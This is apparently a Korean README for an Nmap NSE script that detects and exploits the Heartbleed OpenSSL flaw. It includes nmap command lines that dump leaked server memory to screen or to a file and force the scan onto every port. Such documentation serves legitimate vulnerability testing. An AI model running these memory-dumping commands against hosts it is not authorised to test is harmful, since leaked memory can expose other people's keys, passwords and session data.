ssl-heartbleed.nse

Heartbleed/CVE-2014-0160을 탐지/악용하는 Nmap NSE 스크립트입니다. 이 스크립트는 기본적으로 Patrik Karlsson이 작성한 스크립트에 제가 만든 스크립트의 일부 변경 사항을 이식한 것입니다.

기능

• FTP, SMTP, XMPP 지원 포함 (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231).
• 모든 TLS 버전 지원 (TLSv1.0, TLSv1.1, TLSv1.2).
• 누출된 메모리를 16진수 덤프로 출력.
• 누출된 메모리를 파일로 덤프.

사용법

호스트가 취약한지 확인

이 스크립트는 모든 SSL, FTP, SMTP 및/또는 XMPP 포트에서 실행됩니다.

$ nmap --script ./openssl-heartbleed.nse host.tld

취약한 호스트에서 누출된 메모리 덤프

누출된 메모리 덤프는 -d 플래그를 통해 Nmap의 디버그 레벨을 높이면 활성화됩니다.

$ nmap -d --script=./openssl-heartbleed.nse host.tld

누출된 메모리를 파일로 덤프

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

모든 포트에 ssl-heartbleed.nse 실행

서비스가 감지되었는지 여부와 관계없이 스크립트가 모든 포트에서 실행되도록 강제합니다.

$ nmap --script +./ssl-heartbleed.nse host.tld